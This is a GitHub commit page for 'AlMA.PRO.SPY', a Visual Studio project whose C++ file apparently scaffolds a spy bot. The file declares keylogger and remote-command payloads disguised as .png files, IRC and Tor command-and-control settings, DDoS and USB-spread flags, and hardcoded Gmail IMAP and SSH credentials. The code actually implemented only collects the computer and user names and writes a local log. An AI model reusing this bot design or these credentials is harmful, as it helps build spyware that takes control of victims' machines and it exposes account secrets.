Skip to content

Commit 6be84b9

Browse files
committed
Releasing
1 parent 7bb07f6 commit 6be84b9

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

56 files changed

+6336
-0
lines changed

Project/AlMA.PRO.SPY/.alma.txt

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
Testing WannaCry-Hunter.

Project/AlMA.PRO.SPY/.vs/.alma.txt

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
Testing WannaCry-Hunter.
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
Testing WannaCry-Hunter.
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
Testing WannaCry-Hunter.
Binary file not shown.
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
Testing WannaCry-Hunter.

Project/AlMA.PRO.SPY/.vs/config/applicationhost.config

+1,030
Large diffs are not rendered by default.

Project/AlMA.PRO.SPY/AlMA.PRO.SPY.sln

+54
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,54 @@
1+
2+
Microsoft Visual Studio Solution File, Format Version 12.00
3+
# Visual Studio 14
4+
VisualStudioVersion = 14.0.23107.0
5+
MinimumVisualStudioVersion = 10.0.40219.1
6+
Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "VB", "VB\VB.vbproj", "{FB737C95-FC1A-4F8E-9C12-7B532372D6FC}"
7+
EndProject
8+
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CPP", "CPP\CPP.vcxproj", "{076676CC-E4D0-4826-BBBB-8F31AD18F417}"
9+
EndProject
10+
Global
11+
GlobalSection(SolutionConfigurationPlatforms) = preSolution
12+
Debug|Any CPU = Debug|Any CPU
13+
Debug|ARM = Debug|ARM
14+
Debug|x64 = Debug|x64
15+
Debug|x86 = Debug|x86
16+
Release|Any CPU = Release|Any CPU
17+
Release|ARM = Release|ARM
18+
Release|x64 = Release|x64
19+
Release|x86 = Release|x86
20+
EndGlobalSection
21+
GlobalSection(ProjectConfigurationPlatforms) = postSolution
22+
{FB737C95-FC1A-4F8E-9C12-7B532372D6FC}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
23+
{FB737C95-FC1A-4F8E-9C12-7B532372D6FC}.Debug|Any CPU.Build.0 = Debug|Any CPU
24+
{FB737C95-FC1A-4F8E-9C12-7B532372D6FC}.Debug|ARM.ActiveCfg = Debug|Any CPU
25+
{FB737C95-FC1A-4F8E-9C12-7B532372D6FC}.Debug|ARM.Build.0 = Debug|Any CPU
26+
{FB737C95-FC1A-4F8E-9C12-7B532372D6FC}.Debug|x64.ActiveCfg = Debug|Any CPU
27+
{FB737C95-FC1A-4F8E-9C12-7B532372D6FC}.Debug|x64.Build.0 = Debug|Any CPU
28+
{FB737C95-FC1A-4F8E-9C12-7B532372D6FC}.Debug|x86.ActiveCfg = Debug|x86
29+
{FB737C95-FC1A-4F8E-9C12-7B532372D6FC}.Debug|x86.Build.0 = Debug|x86
30+
{FB737C95-FC1A-4F8E-9C12-7B532372D6FC}.Release|Any CPU.ActiveCfg = Release|Any CPU
31+
{FB737C95-FC1A-4F8E-9C12-7B532372D6FC}.Release|Any CPU.Build.0 = Release|Any CPU
32+
{FB737C95-FC1A-4F8E-9C12-7B532372D6FC}.Release|ARM.ActiveCfg = Release|Any CPU
33+
{FB737C95-FC1A-4F8E-9C12-7B532372D6FC}.Release|ARM.Build.0 = Release|Any CPU
34+
{FB737C95-FC1A-4F8E-9C12-7B532372D6FC}.Release|x64.ActiveCfg = Release|Any CPU
35+
{FB737C95-FC1A-4F8E-9C12-7B532372D6FC}.Release|x64.Build.0 = Release|Any CPU
36+
{FB737C95-FC1A-4F8E-9C12-7B532372D6FC}.Release|x86.ActiveCfg = Release|x86
37+
{FB737C95-FC1A-4F8E-9C12-7B532372D6FC}.Release|x86.Build.0 = Release|x86
38+
{076676CC-E4D0-4826-BBBB-8F31AD18F417}.Debug|Any CPU.ActiveCfg = Debug|Win32
39+
{076676CC-E4D0-4826-BBBB-8F31AD18F417}.Debug|ARM.ActiveCfg = Debug|Win32
40+
{076676CC-E4D0-4826-BBBB-8F31AD18F417}.Debug|x64.ActiveCfg = Debug|x64
41+
{076676CC-E4D0-4826-BBBB-8F31AD18F417}.Debug|x64.Build.0 = Debug|x64
42+
{076676CC-E4D0-4826-BBBB-8F31AD18F417}.Debug|x86.ActiveCfg = Debug|Win32
43+
{076676CC-E4D0-4826-BBBB-8F31AD18F417}.Debug|x86.Build.0 = Debug|Win32
44+
{076676CC-E4D0-4826-BBBB-8F31AD18F417}.Release|Any CPU.ActiveCfg = Release|Win32
45+
{076676CC-E4D0-4826-BBBB-8F31AD18F417}.Release|ARM.ActiveCfg = Release|Win32
46+
{076676CC-E4D0-4826-BBBB-8F31AD18F417}.Release|x64.ActiveCfg = Release|x64
47+
{076676CC-E4D0-4826-BBBB-8F31AD18F417}.Release|x64.Build.0 = Release|x64
48+
{076676CC-E4D0-4826-BBBB-8F31AD18F417}.Release|x86.ActiveCfg = Release|Win32
49+
{076676CC-E4D0-4826-BBBB-8F31AD18F417}.Release|x86.Build.0 = Release|Win32
50+
EndGlobalSection
51+
GlobalSection(SolutionProperties) = preSolution
52+
HideSolutionNode = FALSE
53+
EndGlobalSection
54+
EndGlobal

Project/AlMA.PRO.SPY/CPP/.alma.txt

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
Testing WannaCry-Hunter.
+138
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,138 @@
1+
#include <Windows.h>
2+
#include <Winsock.h>
3+
#include <ctime>
4+
#include <gdiplus.h>
5+
#include <Shlwapi.h>
6+
#include <cstdio>
7+
#include <iostream>
8+
#include <fstream>
9+
#include <memory>
10+
#include <stdexcept>
11+
#include <string>
12+
#include <array>
13+
using namespace std;
14+
string GPO(const char* cmd, const char* args = "", const char* startin = "",BOOLEAN sl = 0);
15+
string host = "";
16+
string aps = "/alma.pro.spy/";
17+
string cc = "/alma.pro.spy/cc.png";
18+
string rcmd = "/alma.pro.spy/rcmd.png";
19+
string nircmd = "/alma.pro.spy/nircmd.png";
20+
string kl = "/alma.pro.spy/kl.png";
21+
string wfmf = "/alma.pro.spy/wfmf.png";
22+
string password = "c2c9db77af078bbb162b79dc941de3b2";
23+
string botname = "C++ Bot";
24+
string version = "0.1 - C++";
25+
string pcname = GPO("cmd", "/C echo %computername%", "", 1);
26+
string username = GPO("cmd", "/C echo %username%", "", 1);
27+
string osname = "Windows";
28+
string botid = "";
29+
string install = "%TEMP%";
30+
string path = GPO("cmd", "/C echo %cd%","",1);
31+
string logfile = path + "\\AlMA.PRO.SPY.log";
32+
string keysfile = path + "\\AlMA.PRO.SPY.keys";
33+
string configfile = path + "\\AlMA.PRO.SPY.dat";
34+
string imapserver = "imap.gmail.com";
35+
string imapport = "993";
36+
string imapuser = "alma.pro.bot@gmail.com";
37+
string imappass = "QWxtYVRlc3Q=";
38+
string imapmaster = "alma.pro.leader@gmail.com";
39+
string apsshuser = "almapro";
40+
string apsshpass = "c444858e0aaeb727da73d2eae62321ad";
41+
string keepddos = "0";
42+
string usbspread = "0";
43+
string onTor = "1";
44+
string TorFiles = "/alma.pro.spy/extras/tor/";
45+
string Unrar = "/alma.pro.spy/extras/unrar.exe";
46+
string Unrar3dll = "/alma.pro.spy/extras/unrar3.dll";
47+
string IRCS = "irc.freenode.net";
48+
string IRCP = "6667";
49+
string IRCSSL = "0";
50+
string IRCM = "";
51+
string IRCB = "";
52+
string IRCCH = "";
53+
string IRCOnTor = "0";
54+
string putty = "/alma.pro.spy/extras/putty.png";
55+
string rtf();
56+
typedef enum _log_type{W = 0,I = 1,E = 2,G = 3}log_type;
57+
void log_all(string data, log_type t = E);
58+
void log_all(string data, log_type t){
59+
try{
60+
string olddata = "";
61+
try{
62+
streampos size;
63+
ifstream file(logfile);
64+
if (file.is_open()){
65+
string line;
66+
streampos begin, end;begin = file.tellg();file.seekg(0, ios::end);end = file.tellg();
67+
if ((end - begin) >= (200 * 1024)) {/* TODO: Upload file */ goto skp; }
68+
while(getline(file, line)){olddata += string(line) + "\n";}
69+
skp:
70+
file.close();
71+
}
72+
}catch(const std::exception& e){
73+
log_all("log_all function: " + string(e.what()), E);
74+
}
75+
ofstream myfile;
76+
myfile.open(logfile);
77+
myfile << olddata;
78+
myfile << "->->->->->\n";
79+
switch (t){
80+
case W:
81+
myfile << "[W] - ";
82+
break;
83+
case I:
84+
myfile << "[I] - ";
85+
break;
86+
case E:
87+
myfile << "[E] - ";
88+
break;
89+
case G:
90+
myfile << "[G] - ";
91+
break;
92+
}
93+
myfile << rtf() << " - " << data << "\n<-<-<-<-<-\n";
94+
myfile.close();
95+
}catch(const exception& e){
96+
log_all("log_all function: " + string(e.what()),E);
97+
}
98+
return;
99+
}
100+
int main(int argc, char* argv[]){
101+
cout << rtf() << endl;
102+
cout << logfile << endl;
103+
cout << "Argc: " << argc << endl;
104+
for (int i = 0; i < argc; i++) {
105+
cout << "Arg #" << i << ": " << argv[i] << endl;
106+
cin.get();
107+
}
108+
log_all("Test",G);
109+
}
110+
string rtf() {
111+
char r[100];
112+
time_t now = time(0);
113+
tm *ltm = new tm;
114+
localtime_s(ltm,&now);
115+
string c = "AM";
116+
int ht = ltm->tm_hour;
117+
if (ht > 12) { c="PM"; ht -= 12; }
118+
sprintf_s(r, "%.2d/%.2d/%.4d %.2d:%.2d %s", 1 + ltm->tm_mon, ltm->tm_mday, 1900 + ltm->tm_year, ht, ltm->tm_min,c.c_str());
119+
return string(r);
120+
}
121+
string GPO(const char* cmd, const char* args, const char* startin,BOOLEAN sl){
122+
array<char, 128> buffer;
123+
string result;
124+
char fcmd[128];
125+
if (startin == ""){
126+
sprintf_s(fcmd,128,"%s %s", cmd, args);
127+
}else{
128+
sprintf_s(fcmd, 128, "cd %s && %s %s", startin, cmd, args);
129+
}
130+
shared_ptr<FILE> pipe(_popen(fcmd, "r"), _pclose);
131+
if (!pipe) throw std::runtime_error("_popen() failed!");
132+
while(!feof(pipe.get())){
133+
if(fgets(buffer.data(), 128, pipe.get()) != NULL)
134+
result += buffer.data();
135+
}
136+
if(sl){ result.erase(remove(result.begin(), result.end(), '\n'), result.end()); }
137+
return result;
138+
}

Project/AlMA.PRO.SPY/CPP/CPP.APS

628 KB
Binary file not shown.

Project/AlMA.PRO.SPY/CPP/CPP.rc

4.19 KB
Binary file not shown.

Project/AlMA.PRO.SPY/CPP/CPP.vcxproj

+165
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,165 @@
1+
<?xml version="1.0" encoding="utf-8"?>
2+
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
3+
<ItemGroup Label="ProjectConfigurations">
4+
<ProjectConfiguration Include="Debug|Win32">
5+
<Configuration>Debug</Configuration>
6+
<Platform>Win32</Platform>
7+
</ProjectConfiguration>
8+
<ProjectConfiguration Include="Release|Win32">
9+
<Configuration>Release</Configuration>
10+
<Platform>Win32</Platform>
11+
</ProjectConfiguration>
12+
<ProjectConfiguration Include="Debug|x64">
13+
<Configuration>Debug</Configuration>
14+
<Platform>x64</Platform>
15+
</ProjectConfiguration>
16+
<ProjectConfiguration Include="Release|x64">
17+
<Configuration>Release</Configuration>
18+
<Platform>x64</Platform>
19+
</ProjectConfiguration>
20+
</ItemGroup>
21+
<PropertyGroup Label="Globals">
22+
<ProjectGuid>{076676CC-E4D0-4826-BBBB-8F31AD18F417}</ProjectGuid>
23+
<Keyword>Win32Proj</Keyword>
24+
<RootNamespace>CPP</RootNamespace>
25+
<WindowsTargetPlatformVersion>8.1</WindowsTargetPlatformVersion>
26+
</PropertyGroup>
27+
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
28+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
29+
<ConfigurationType>Application</ConfigurationType>
30+
<UseDebugLibraries>true</UseDebugLibraries>
31+
<PlatformToolset>v140_xp</PlatformToolset>
32+
<CharacterSet>Unicode</CharacterSet>
33+
</PropertyGroup>
34+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
35+
<ConfigurationType>Application</ConfigurationType>
36+
<UseDebugLibraries>false</UseDebugLibraries>
37+
<PlatformToolset>v140</PlatformToolset>
38+
<WholeProgramOptimization>true</WholeProgramOptimization>
39+
<CharacterSet>Unicode</CharacterSet>
40+
</PropertyGroup>
41+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
42+
<ConfigurationType>Application</ConfigurationType>
43+
<UseDebugLibraries>true</UseDebugLibraries>
44+
<PlatformToolset>v140_xp</PlatformToolset>
45+
<CharacterSet>Unicode</CharacterSet>
46+
</PropertyGroup>
47+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
48+
<ConfigurationType>Application</ConfigurationType>
49+
<UseDebugLibraries>false</UseDebugLibraries>
50+
<PlatformToolset>v140</PlatformToolset>
51+
<WholeProgramOptimization>true</WholeProgramOptimization>
52+
<CharacterSet>Unicode</CharacterSet>
53+
</PropertyGroup>
54+
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
55+
<ImportGroup Label="ExtensionSettings">
56+
</ImportGroup>
57+
<ImportGroup Label="Shared">
58+
</ImportGroup>
59+
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
60+
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
61+
</ImportGroup>
62+
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
63+
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
64+
</ImportGroup>
65+
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
66+
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
67+
</ImportGroup>
68+
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
69+
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
70+
</ImportGroup>
71+
<PropertyGroup Label="UserMacros" />
72+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
73+
<LinkIncremental>true</LinkIncremental>
74+
</PropertyGroup>
75+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
76+
<LinkIncremental>true</LinkIncremental>
77+
</PropertyGroup>
78+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
79+
<LinkIncremental>false</LinkIncremental>
80+
</PropertyGroup>
81+
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
82+
<LinkIncremental>false</LinkIncremental>
83+
</PropertyGroup>
84+
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
85+
<ClCompile>
86+
<PrecompiledHeader>
87+
</PrecompiledHeader>
88+
<WarningLevel>Level3</WarningLevel>
89+
<Optimization>Disabled</Optimization>
90+
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
91+
<SDLCheck>true</SDLCheck>
92+
</ClCompile>
93+
<Link>
94+
<SubSystem>Console</SubSystem>
95+
<GenerateDebugInformation>true</GenerateDebugInformation>
96+
</Link>
97+
</ItemDefinitionGroup>
98+
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
99+
<ClCompile>
100+
<PrecompiledHeader>
101+
</PrecompiledHeader>
102+
<WarningLevel>Level3</WarningLevel>
103+
<Optimization>Disabled</Optimization>
104+
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
105+
<SDLCheck>true</SDLCheck>
106+
</ClCompile>
107+
<Link>
108+
<SubSystem>Console</SubSystem>
109+
<GenerateDebugInformation>true</GenerateDebugInformation>
110+
</Link>
111+
</ItemDefinitionGroup>
112+
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
113+
<ClCompile>
114+
<WarningLevel>Level3</WarningLevel>
115+
<PrecompiledHeader>
116+
</PrecompiledHeader>
117+
<Optimization>MaxSpeed</Optimization>
118+
<FunctionLevelLinking>true</FunctionLevelLinking>
119+
<IntrinsicFunctions>true</IntrinsicFunctions>
120+
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
121+
<SDLCheck>true</SDLCheck>
122+
</ClCompile>
123+
<Link>
124+
<SubSystem>Console</SubSystem>
125+
<GenerateDebugInformation>true</GenerateDebugInformation>
126+
<EnableCOMDATFolding>true</EnableCOMDATFolding>
127+
<OptimizeReferences>true</OptimizeReferences>
128+
</Link>
129+
</ItemDefinitionGroup>
130+
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
131+
<ClCompile>
132+
<WarningLevel>Level3</WarningLevel>
133+
<PrecompiledHeader>
134+
</PrecompiledHeader>
135+
<Optimization>MaxSpeed</Optimization>
136+
<FunctionLevelLinking>true</FunctionLevelLinking>
137+
<IntrinsicFunctions>true</IntrinsicFunctions>
138+
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
139+
<SDLCheck>true</SDLCheck>
140+
</ClCompile>
141+
<Link>
142+
<SubSystem>Console</SubSystem>
143+
<GenerateDebugInformation>true</GenerateDebugInformation>
144+
<EnableCOMDATFolding>true</EnableCOMDATFolding>
145+
<OptimizeReferences>true</OptimizeReferences>
146+
</Link>
147+
</ItemDefinitionGroup>
148+
<ItemGroup>
149+
<ClCompile Include="AlMA.PRO.SPY.cpp" />
150+
</ItemGroup>
151+
<ItemGroup>
152+
<ClInclude Include="resource.h" />
153+
<ClInclude Include="resource1.h" />
154+
</ItemGroup>
155+
<ItemGroup>
156+
<ResourceCompile Include="CPP.rc" />
157+
</ItemGroup>
158+
<ItemGroup>
159+
<Media Include="..\..\..\..\..\Documents\Visual Studio 2015\Projects\AlMA.PRO.Crypto\AlMA.PRO.Crypto\Resources\1.wav" />
160+
<Media Include="..\..\..\..\..\Documents\Visual Studio 2015\Projects\AlMA.PRO.Crypto\AlMA.PRO.Crypto\Resources\2.wav" />
161+
</ItemGroup>
162+
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
163+
<ImportGroup Label="ExtensionTargets">
164+
</ImportGroup>
165+
</Project>

0 commit comments

Comments
 (0)